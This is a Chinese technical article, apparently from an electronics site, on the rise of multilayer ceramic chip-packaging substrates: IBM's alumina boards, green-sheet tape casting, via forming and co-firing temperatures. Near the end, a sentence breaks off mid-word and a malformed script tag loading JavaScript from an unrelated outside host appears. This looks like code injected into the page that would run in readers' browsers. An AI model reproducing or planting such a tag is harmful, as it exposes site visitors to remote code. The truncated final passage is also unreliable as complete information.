多层陶瓷载板逐渐成为多晶封装主流

陶瓷载板出现之前,提到载板,往往都认为是树脂材质的印刷载板,近几年来印刷载板用的树脂也持续出现改善,已经从传统的低成本、易加工的phenol树脂,提升成为热稳定性好的环氧玻璃基板(glass epoxy)、聚亚(polyimide)等等。不过,陶瓷载板的出现,这从材料技术方面来看,与可以说更具有革命性的意义,和传统的材料技术相比,在完成内层图形之后,利用半硬化环氧树脂做为连接层而形成聚亚,之后,再进行preimpregnation加热、加压、多层化等等制程,再把多层板进行开孔加工,进行通孔(through-hole)。

 在信息相关产品的世界中,为了不断提高运算速度,芯片的晶体管密度也随之增加,因为如此随之而来的是,封装在载板上芯片的热效应也就因而提高。因此从1970年代后期开始,业界开始发现,应用在高积集芯片封装的树脂印刷载板,逐渐出现散热不稳定性的现象,同时载板的配线密度,以及芯片的封装密度都即将达到了极限,而出现不易进行更高密度通孔(through-hole),以及发现载板材料和硅的热膨胀差值快要难以搭配的情况。

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▲陶瓷载板的出现,这从材料技术方面来看,与可以说更具有革命性的意义。

 ■1980年代开始业界期望开发更新一代的印刷载板

 在这样的情况下,虽然全球各业者从1980年代开始,陆续以印刷载板技术为基础,期望开发更新一代的印刷载板,期望能够达到应用的极限,当时整体的进展还是难以有突破性的发展。因此部分先进的业者开始朝向开发新材料,例如ibm已经开始开发并且采用了陶瓷载板来作为封装基板,而陶瓷载板也发挥其高度的特性,满足了对于低热效应的要求,使得当时大多数的高速计算机都开始采用陶瓷材料来作为芯片封装基板。

 ibm所开发的陶瓷载板具有高耐热性,而且与树脂相比,在绝缘部分采用了与硅热膨胀相当接近的氧化铝陶瓷,使得在进行通孔(through-hole)时,可以实现更高配线密度的目标,因此陶瓷基板的出现,包括在特性以及制程问题等等方面,可以说是克服了树脂印刷基板难以所及的缺点。

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▲陶瓷green sheet的易加工性,可以在sheet内的任意位置穿孔。

 ■低温烧结载板的开发与实用化

 多层陶瓷典型的制造是将原料的陶瓷粉、有机树脂、溶剂等等,利用球状粉碎器混合调制,直到混合液体形成牛奶状的陶瓷材料,接下来进行薄片成形(tape casting),让陶瓷材料成型为绿带(green sheet),导线则是利用钨(w)粉末与有机载体(vehicle)混合之浆剂(paste)印刷在绿带上,制成配线;接着经过共烧、镀镍、针的硬焊、镀金等一连串的步骤完成。最后再把积层中的导体和陶瓷同步进行烧结的动作,而完成多层陶瓷载板的制作流程。而在整个制程中,最重要的步骤是绿带(green sheet)的成型,以及同步烧结的技术。

 绿带(green sheet)的成型起源,是1950年代后期,rca初次在精密印刷刮刀(doctor blades)上应用,当初是作为高容量condenser用技术。随后才作为sheet间导通,而利用陶瓷作为多层载板材料的开发也随之获得革命性的进展。利用了陶瓷绿带(green sheet)的易加工性,可以在sheet内的任意位置穿孔,透过在孔内部埋入导体,达到层间的导通能力。而树脂印刷载板在面临多层化应用后,由于要用钻孔来进行打孔,所以孔的尺寸、密度等等,都会因为钻孔的加工能力而受到一些限制,例如层间的导体连接处,在各层中,也都被固定在某些钻孔处。

 由于pier的发明,实现了可以在陶瓷载板上层与层的进行任意连接,而达到高密度微细孔的目标。1960年初开始,已经开始有出现氧化铝绝缘层、导体层mo、mo-mn、w等材料的组合成的多层陶瓷载板的研发论文。同时在烧结技术方面,也有获得一定程度的进展,在摄氏500度左右的低温下,让分解有机材料并且脱离,而剩下的炭化物在烧结气体(湿润氧气)内进行去氧化。然后,在1,000℃左右的环境下,让氧化铝和少量添加的玻璃进行反应,而形成2次结晶。

 温度从1,450℃度开始,结晶会融解并且形成流质性玻璃状物质,而随着不断提高的温度,流质性玻璃状物质会降低流质黏度。再将这玻璃状液体和陶瓷同时烧结到多孔构造的mo中,通过形成高机械度的结合,让两材料间的结构紧密结合。而烧结的湿润气体,则是在考虑使用金属mo和w的氧化度配合后而决定的。当时,全球的封装技术人员虽然对ibm的tcm封装技术暗道惊讶,但是对于氧化铝多层载板并不会抱持全面肯定的态度,而是认为氧化铝系陶瓷多层载板因为介电性高,所以尽管提高了封装密度,但是讯号传输速度并没有提高,因为传输速度需要印刷载板二倍的时间,所以要得到和印刷载板同样的传输速度,必须将配线长度减少一半,但是配线长度减?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计